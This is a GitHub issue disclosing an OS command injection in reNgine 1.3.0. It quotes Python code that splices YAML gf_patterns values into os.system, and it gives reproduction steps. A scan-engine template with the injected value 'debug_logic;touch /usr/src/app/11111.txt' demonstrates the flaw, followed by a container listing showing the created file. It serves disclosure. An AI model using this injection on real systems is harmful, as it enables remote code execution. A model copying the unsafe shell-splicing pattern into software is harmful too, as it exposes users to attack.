

[New issue](#)[Jump to bottom](#)

# There is an OS Command Injection vulnerability in the scan engine function configuration of rengine 1.3.0 #2

[Open](#) zongdeiqianxing opened this issue on Jul 18 · 0 comments

zongdeiqianxing commented on Jul 18 • edited ▾

Owner

<https://github.com/yogeshojha/rengine>

The rce vulnerability is caused by the code reading the value from the yaml file and splicing it directly into the os.system statement.

[github permak](#)

```
1689         ))
1690
1691
1692     # once endpoint is saved, run gf patterns TODO: run threads
1693     if GF_PATTERNS in yaml_configuration[FETCH_URL]:
1694         for pattern in yaml_configuration[FETCH_URL][GF_PATTERNS]:
1695             # TODO: js var is causing issues, removing for now
1696             if pattern != 'jsvar':
1697                 logger.info('Running GF for {}'.format(pattern))
1698                 gf_output_file_path = '{0}/gf_patterns_{1}.txt'.format(
1699                     results_dir, pattern)
1700                 gf_command = 'cat {0}/{3} | gf {1} | grep -Eo {4} >> {2} '.format(
1701                     results_dir,
1702                     pattern,
1703                     gf_output_file_path,
1704                     output_file_name,
1705                     valid_url_of_domain_regex
1706                 )
1707                 logger.info(gf_command)
1708                 os.system(gf_command)
```

=====

If you try to reproduce the vulnerability, add the command you want to execute in the scan engine template in the background, then create a target and select the scan engine template for scanning. After a while, you will find that the command is successfully executed.



DashboardTargetsScan HistoryVulnerabilitiesTodoOrganizationScan EngineSettings

Scan Engines

Scan EnginesWordlistsInteresting LookupAdd Scan Engine

Engines > All Scan Engines

Search...Results: 20

Engine Name	Type	Subdomain Discovery	Screenshot	OSINT	Port Scan	Directory & Files Discovery	Fetch URLs	Vulnerability Scan	Action
Full Scan	Default Engine	✓	✓	✓	✓	✓	✓	✓	
Subdomain Only Scan	Default Engine	✓	✗	✗	✗	✗	✗	✗	

```
31  · · timeout: · 10
32  · · # · delay: · "0.1-0.2"
33  · · # · match_http_status: · '200, · 204'
34  · · # · max_time: · 0
35  · · recursive: · false
36  · · recursive_level: · 1
37  ·
38  fetch_url:
39  · · uses_tools: · [ · gauplus, · hakrawler, · waybackurls, · gospider · ]
40  · · intensity: · normal
41  · · # · intensity: · deep
42  · · ignore_file_extension: · [ · jpg, · png, · jpeg, · gif · ]
43  · · gf_patterns: · [ · debug_logic;touch · /usr/src/app/11111.txt, · idor, · img-tr
44  ·
45  vulnerability_scan:
46  · · concurrency: · 10
47  · · rate_limit: · 150
48  · · timeout: · 5
49  · · retries: · 1
50  · · templates: · [ · all · ]
```

```
root@ecs-393573:~/rengine-1.2.0/web/reNgine# docker exec -ti 53 bash
root@53c6c92a3d91:/usr/src/app# ls
11111.txt      api          celery-entrypoint.sh  fixtures  recon_note
11111.txt.txt  art         dashboard             manage.py  requirements.txt
Dockerfile     beat-entrypoint.sh  entrypoint.sh        reNgine   scanEngine
```

Assignees

No one assigned

Labels

None yet

---

Projects

None yet

---

Milestone

No milestone

---

Development

No branches or pull requests

---

1 participant

